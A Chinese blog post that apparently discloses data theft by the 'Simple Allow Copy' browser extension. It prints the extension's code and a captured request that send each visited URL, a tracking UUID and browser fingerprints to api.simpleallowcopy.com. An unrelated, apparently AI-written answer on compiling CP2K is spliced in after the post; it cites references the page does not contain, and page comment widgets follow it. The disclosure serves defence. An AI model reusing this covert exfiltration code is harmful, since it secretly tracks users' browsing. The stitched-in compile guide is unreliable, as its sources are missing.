浏览器插件:Simple Allow Copy 正在监视你的一举一动

插件简述

"Simple Allow Copy"是一款可以帮助用户突破网页复制限制的浏览器扩展。它特别适用于那些禁止复制粘贴的网站,如百度文库、豆丁文库等。使用这款插件,用户可以轻松复制网页上的内容,无需手动输入或使用OCR工具。

该插件截止当前已有70万用户使用,高达70万用户个人隐私将受到影响。
存在问题的插件版本:0.8.8,更新时间为:2024年7月8日,如果你发现你的版本是0.8.8,那么极有可能已经被偷取信息(浏览器会在背后自动更新插件)。

事情起因

事情起因是当时正在挂着代理抓包时,突然发现浏览器无缘无故会向api.simpleallowcopy.com不断的发起请求。


直到查看了请求包才发现事情的严重性,因为它记录了我的所有网站URL以及浏览器一些指纹信息发送到api.simpleallowcopy.com网站中。


它记录了:请求时间、请求URL、UserAgent、域名、本地语言、用户ID、操作系统等等信息。
数据包:

POST /skip HTTP/1.1
Host: api.simpleallowcopy.com
User-Agent: xixi
Content-Type: application/json
Accept: */*
Origin: chrome-extension://aefehdhdciieocakfobpaaolhipkcpgc
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"timestamp":"","uri":"","user_agent":"","domain":"","locale":"","user_id":"","platform":"","referer":""}

分析过程

经历上述情况后,果断找到这个插件的目录,插件标识是:aefehdhdciieocakfobpaaolhipkcpgc,经过分析定位到了核心逻辑代码在:background/index.js中实现:

chrome.storage.local.get(["sacp"], (function(e) {
        if (void 0 === e.sacp) {
            let e = self.crypto.randomUUID();
            chrome.storage.local.set({
                sacp: e
            })
        }
    }));

首先该代码一开始就判断:如果在本地存储中没有找到sacp,则生成一个新的UUID并保存,这个UUID在整个窃取过程是比较重要的。


主要获取信息的逻辑是写在了I函数里面,I函数一开始是做了一些判断。

if (i && i.url) {
if (o[i.id] !== i.url || n !== i.id) {
    n = i.id;
    o[i.id] = i.url;
    setTimeout(() => {
        // 执行异步处理
    }, 0);
}

检查是否已经处理过当前标签页 URL,如果没有处理过则更新相关状态并进行处理发起请求。

let c = i.sacp;
cmta = {
    timestamp: Date()
        .toLocaleString(),
    uri: o.url,
    user_agent: navigator.userAgent,
    domain: n.hostname,
    locale: navigator.language,
    user_id: c || "",
    platform: navigator.platform || "",
    referer: o.initiator || ""
}

可以看到传递参数组成是由timestamp、uri、user_agent、domain、locale、user_id、platform、referer,这几个部分组成,当然还有一个隐藏参数,那就是IP地址,虽然参数中并没有IP,但实际上发起请求的时候就已经可以将请求人员IP进行存储。

async function(e, t) {
return (await fetch(e, {
        headers: {
            "Content-Type": "application/json"
        },
        method: "POST",
        body: JSON.stringify(t)
    }))
    .json()
}("https://api.simpleallowcopy.com/skip", cmta)

最后再通过异步的方式将数据发送至http://api.simpleallowcopy.com

我们知道了核心代码是在I函数中,那么I函数在什么情况下会调用呢,什么情况下该插件会记录请求信息:


1、标签页激活:
当用户切换到一个新的标签页时触发。

chrome.tabs.onActivated.addListener(() => { i(); });

2、标签页更新:
当当前标签页的 URL 发生变化时触发。

chrome.tabs.onUpdated.addListener(() => { i(); });

3、扩展图标点击:
当用户点击扩展图标时,函数 i 会被触发。

chrome.action.onClicked.addListener(() => {
    chrome.tabs.query({ active: true, currentWindow: true }, ([e]) => {
        e && proxy.invoke(e.id, "toggle");
    });
});

最终导致的危害就是每条URL访问记录都会被窃取

通过查询域名相关信息发现:

域名: http://api.simpleallowcopy.com
域名注册时间:2024年5月29日
插件更新时间:2024年7月8日

该域名是5月29注册,插件7月8日更新,也就是说这一次行动是有蓄谋有计划的,通过这种方式窃取用户个人信息。

危害场景

很多师傅可能心里会想,只是记录了请求的URL,好像并没有什么危害,确实,如果单纯从记录的url来说可能危害并不是很大,但是实际上这个影响是巨大的。
场景一:

  • 插件作者可以通过这些信息去分析安装了这个插件的人员真实身份、工作单位,甚至住址信息。
    为什么呢?插件一开始有这样的代码:let e = self.crypto.randomUUID();获取一个uuid。
    这个uuid是插件作者记录你的所有信息用的一个标识,如果你从24年7月8日安装该插件,一直使用到25年7月,整整一年的时间。插件作者可以通过后台根据该uuid去定位,该用户一年中访问过什么网站,比如你在这一年访问过公司网站,在百度上搜索过家庭住址、某个网站的用户信息是通过Get传输的。结合以上几个要素,很轻易的定位到这个uuid的详细身份信息。

场景二:

  • 敏感身份人员,如果单位互联网可用或者相关人员办公/个人电脑混用的情况,时间一长,这泄露的信息将会是致命的,例如历史原因导致的:用户密码信息、用户凭证信息GET明文传输的案例。想想都可怕。

场景三:

  • 红蓝队员,你正在攻击的目标,正在挖掘的漏洞,可能拆安作者拿来你访问的Payload就能直接打,可能插件作者很轻易的获取到某些网络/安全设备地址

处置建议

该卸载就卸载把,可能你现在是低版本不受影响,但是保不准哪天浏览器就给你默默升级插件了。
chrome禁止自动更新插件可屏蔽URL:https://clients2.google.com/service/update2/crx,如果不行以及其他浏览器那就得上百度研究了

以该插件为例,是否还会有其他插件存在这个情况呢(偷偷潜伏个几年)?上个网太难了!

<think>好的,我需要回答用户关于如何编译CP2K的问题。用户提到了几个引用,我需要结合这些引用内容来提供准确的指导。首先,引用[2]详细描述了在Ubuntu 22.04下编译CP2K-2024.1的步骤,包括源码和第三方库的处理。引用[3]提到了在曙光超算平台上的尝试,特别是AMD GPU版本的编译问题和解决方法,比如使用HIP子程序。引用[1]则强调了掌握这些编译知识对使用CP2Q的重要性。 我需要先整理引用中的关键步骤。根据引用[2],用户需要下载源码和第三方库,解压后放入指定目录,建立build目录。可能还需要安装依赖项,如编译器、MPI库等。然后,配置编译选项,比如使用特定版本的GCC或Intel编译器,并行计算相关的设置。接下来是编译过程,可能需要执行make或类似的命令。最后是验证安装,运行测试案例确认编译成功。 另外,引用[3]提到AMD GPU编译的问题,用户可能需要处理DBCSR和HIP相关的配置。这里可能需要指导用户如何启用GPU支持,比如在编译时添加特定的选项,或者修改Makefile来包含HIP子程序。同时,要提醒用户注意可能遇到的段错误,建议检查依赖库的版本兼容性或者尝试社区推荐的解决方法。 用户可能需要分步骤的指导,包括环境准备、源码准备、配置、编译、验证等。同时,需要指出不同平台(如Ubuntu和曙光超算)的差异,尤其是在处理GPU支持时的不同步骤。还要强调常见问题,如第三方库的路径设置、编译选项的正确性,以及如何处理编译中的错误,比如段错误可能需要调试工具或查阅社区资源。 最后,根据用户提供的引用,需要正确标注引用来源,比如在提到源码准备时引用[2],在讨论GPU编译问题时引用[3],并在总结时引用[1]强调掌握编译的重要性。同时,生成的相关问题应围绕编译中的常见挑战、优化方法、不同平台的差异等,帮助用户进一步探索。</think>### CP2K编译指南 #### **1. 环境准备** - **系统要求**:推荐使用Linux系统(如Ubuntu 22.04)[^2]。 - **依赖安装**: - 安装基础编译工具:`gcc`, `g++`, `make`, `cmake`。 - 安装并行计算库:`MPI`(如OpenMPI或Intel MPI)[^1]。 - 安装数学库:`BLAS`, `LAPACK`, `ScaLAPACK`,推荐使用Intel MKL或OpenBLAS。 --- #### **2. 源码与第三方库准备** 1. **下载源码**: - 从[CP2K官网](https://www.cp2k.org/)下载最新源码(如`cp2k-2024.1.tar.gz`)[^2]。 2. **解压源码**: ```bash tar -zxvf cp2k-2024.1.tar.gz ``` 3. **第三方库处理**: - 将下载的第三方库(如`libint`, `libxc`, `ELPA`)放入`tools/toolchain/build`目录,若无此目录需手动创建。 --- #### **3. 编译配置** - **使用工具链脚本**: ```bash cd tools/toolchain ./install_cp2k_toolchain.sh --with-libint=yes --with-libxc=yes ``` 脚本会自动生成`arch`文件(如`Linux-x86-64-gfortran.popt`),需复制到`cp2k/arch`目录。 - **GPU支持(可选)**: - 若需编译AMD GPU版本,需启用`DBCSR`和`HIP`支持,在配置时添加`--with-gpu=hip`[^3]。 - 注意:AMD GPU编译可能因驱动或库版本问题导致段错误,需检查依赖项兼容性。 --- #### **4. 编译执行** 1. **进入源码目录**: ```bash cd cp2k/makefiles ``` 2. **选择编译版本**: - 优化版本:`make ARCH=Linux-x86-64 VERSION=popt -j8` - 调试版本:`make ARCH=Linux-x86-64 VERSION=psdb -j8` - `-j8`表示并行编译(根据CPU核心数调整)[^1]。 --- #### **5. 验证安装** - 运行测试案例: ```bash cd tests ./do_regtest.py ``` - 检查输出文件是否包含`OK`状态,确保编译成功[^1]。 --- #### **常见问题** 1. **第三方库路径错误**: 确保第三方库路径正确,并在工具链脚本中指定`--mpi-mode=no`(若无需MPI)。 2. **段错误(AMD GPU)**: 尝试更新HIP驱动或使用社区提供的补丁。 3. **依赖冲突**: 使用`conda`或虚拟环境隔离依赖库版本。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值